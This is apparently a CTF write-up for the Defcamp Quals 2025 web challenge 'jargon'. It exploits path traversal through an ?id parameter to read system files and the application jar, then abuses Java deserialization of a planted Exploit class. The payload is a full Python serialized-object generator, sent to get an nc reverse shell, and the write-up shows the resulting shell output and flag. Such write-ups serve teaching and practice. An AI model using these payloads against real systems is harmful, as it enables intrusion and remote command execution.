English [Defcamp Quals 2025] [Web 95 – jargon] Write Up

jargon

This ticketing platform looks like it was built back in the late ’90s, yet somehow it’s still running in 2025. Many of the flaws it carries are relics of an older era of the web. The question is: can you still exploit these outdated systems today, or has old-school web exploitation become harder in the modern landscape?

Resolution

We were given a contact form that create a ticket.

We can read older tickets and download attached files.

We found out that we can download any file if we specify anything after the ?id parameter, like ?id=/etc/passwd.

So we se tried some things like /proc/self/cmdline and downloaded as a result /app/target/jargon.jar

After decompiling, we saw that the jar archive contains a surprising class in ctf/jargon/Exploit.class.

Immediately, we think about java deserialization, we used a snippet to execute what we wants, like a reverse shell.

import struct

def create_java_serialized_exploit(command=""):
# STREAM_MAGIC (0xACED) + STREAM_VERSION (0x0005)
header = b'\xac\xed\x00\x05'

# TC_OBJECT (0x73)
tc_object = b'\x73'

# TC_CLASSDESC (0x72)
tc_classdesc = b'\x72'

# class name
class_name = "ctf.jargon.Exploit"
class_name_length = struct.pack('>H', len(class_name))
class_name_bytes = class_name.encode('utf-8')

# serialVersionUID
serial_version_uid = struct.pack('>Q', 1) # 1L

# serialized (SC_SERIALIZABLE = 0x02)
flags = b'\x02'

# fields (1 champ: cmd)
num_fields = struct.pack('>H', 1)

# desc "cmd"
field_type = b'L' # Object
field_name = "cmd"
field_name_length = struct.pack('>H', len(field_name))
field_name_bytes = field_name.encode('utf-8')

# TC_STRING type
tc_string = b'\x74'
field_type_name = "Ljava/lang/String;"
field_type_length = struct.pack('>H', len(field_type_name))
field_type_bytes = field_type_name.encode('utf-8')

# TC_ENDBLOCKDATA
tc_endblockdata = b'\x78'

# TC_NULL pour superclass
tc_null = b'\x70'

# cmd value
tc_string_cmd = b'\x74'
cmd_length = struct.pack('>H', len(command))
cmd_bytes = command.encode('utf-8')

# final
serialized_data = (
header +
tc_object +
tc_classdesc +
class_name_length + class_name_bytes +
serial_version_uid +
flags +
num_fields +
field_type +
field_name_length + field_name_bytes +
tc_string +
field_type_length + field_type_bytes +
tc_endblockdata +
tc_null +
tc_string_cmd +
cmd_length + cmd_bytes
)

return serialized_data

We used as payload a reverseshell (nc was installed on the remote host !) and then…

ls -la /
total 80
drwxr-xr-x 1 root root 4096 Sep 12 11:08 .
drwxr-xr-x 1 root root 4096 Sep 12 11:08 ..
drwxr-xr-x 1 root root 4096 Sep 12 12:04 app
drwxr-xr-x 2 root root 4096 May 9 2019 bin
drwxr-xr-x 5 root root 360 Sep 12 11:08 dev
drwxr-xr-x 1 root root 4096 Sep 12 11:08 etc
-rw-rw-rw- 1 root root 71 Aug 19 09:23 flag-butlocationhastobesecret-1942e3.txt
drwxr-xr-x 2 root root 4096 May 9 2019 home
drwxr-xr-x 1 root root 4096 May 11 2019 lib
drwxr-xr-x 5 root root 4096 May 9 2019 media
drwxr-xr-x 2 root root 4096 May 9 2019 mnt
drwxr-xr-x 2 root root 4096 May 9 2019 opt
dr-xr-xr-x 366 nobody nobody 0 Sep 12 11:08 proc
drwx------ 1 root root 4096 Aug 19 13:41 root
drwxr-xr-x 1 root root 4096 Sep 12 11:08 run
drwxr-xr-x 2 root root 4096 May 9 2019 sbin
drwxr-xr-x 2 root root 4096 May 9 2019 srv
dr-xr-xr-x 13 nobody nobody 0 Sep 12 10:46 sys
drwxrwxrwt 1 root root 4096 Sep 12 12:04 tmp
drwxr-xr-x 1 root root 4096 May 11 2019 usr
drwxr-xr-x 1 root root 4096 May 9 2019 var
cat /flag*

ctf{a303b9d784195c971e0ff1c1c94723bcc26c4a0b714e919d898a26e82d6c843c}

The flag is: ctf{a303b9d784195c971e0ff1c1c94723bcc26c4a0b714e919d898a26e82d6c843c}

Leave a Reply

Your email address will not be published. Required fields are marked *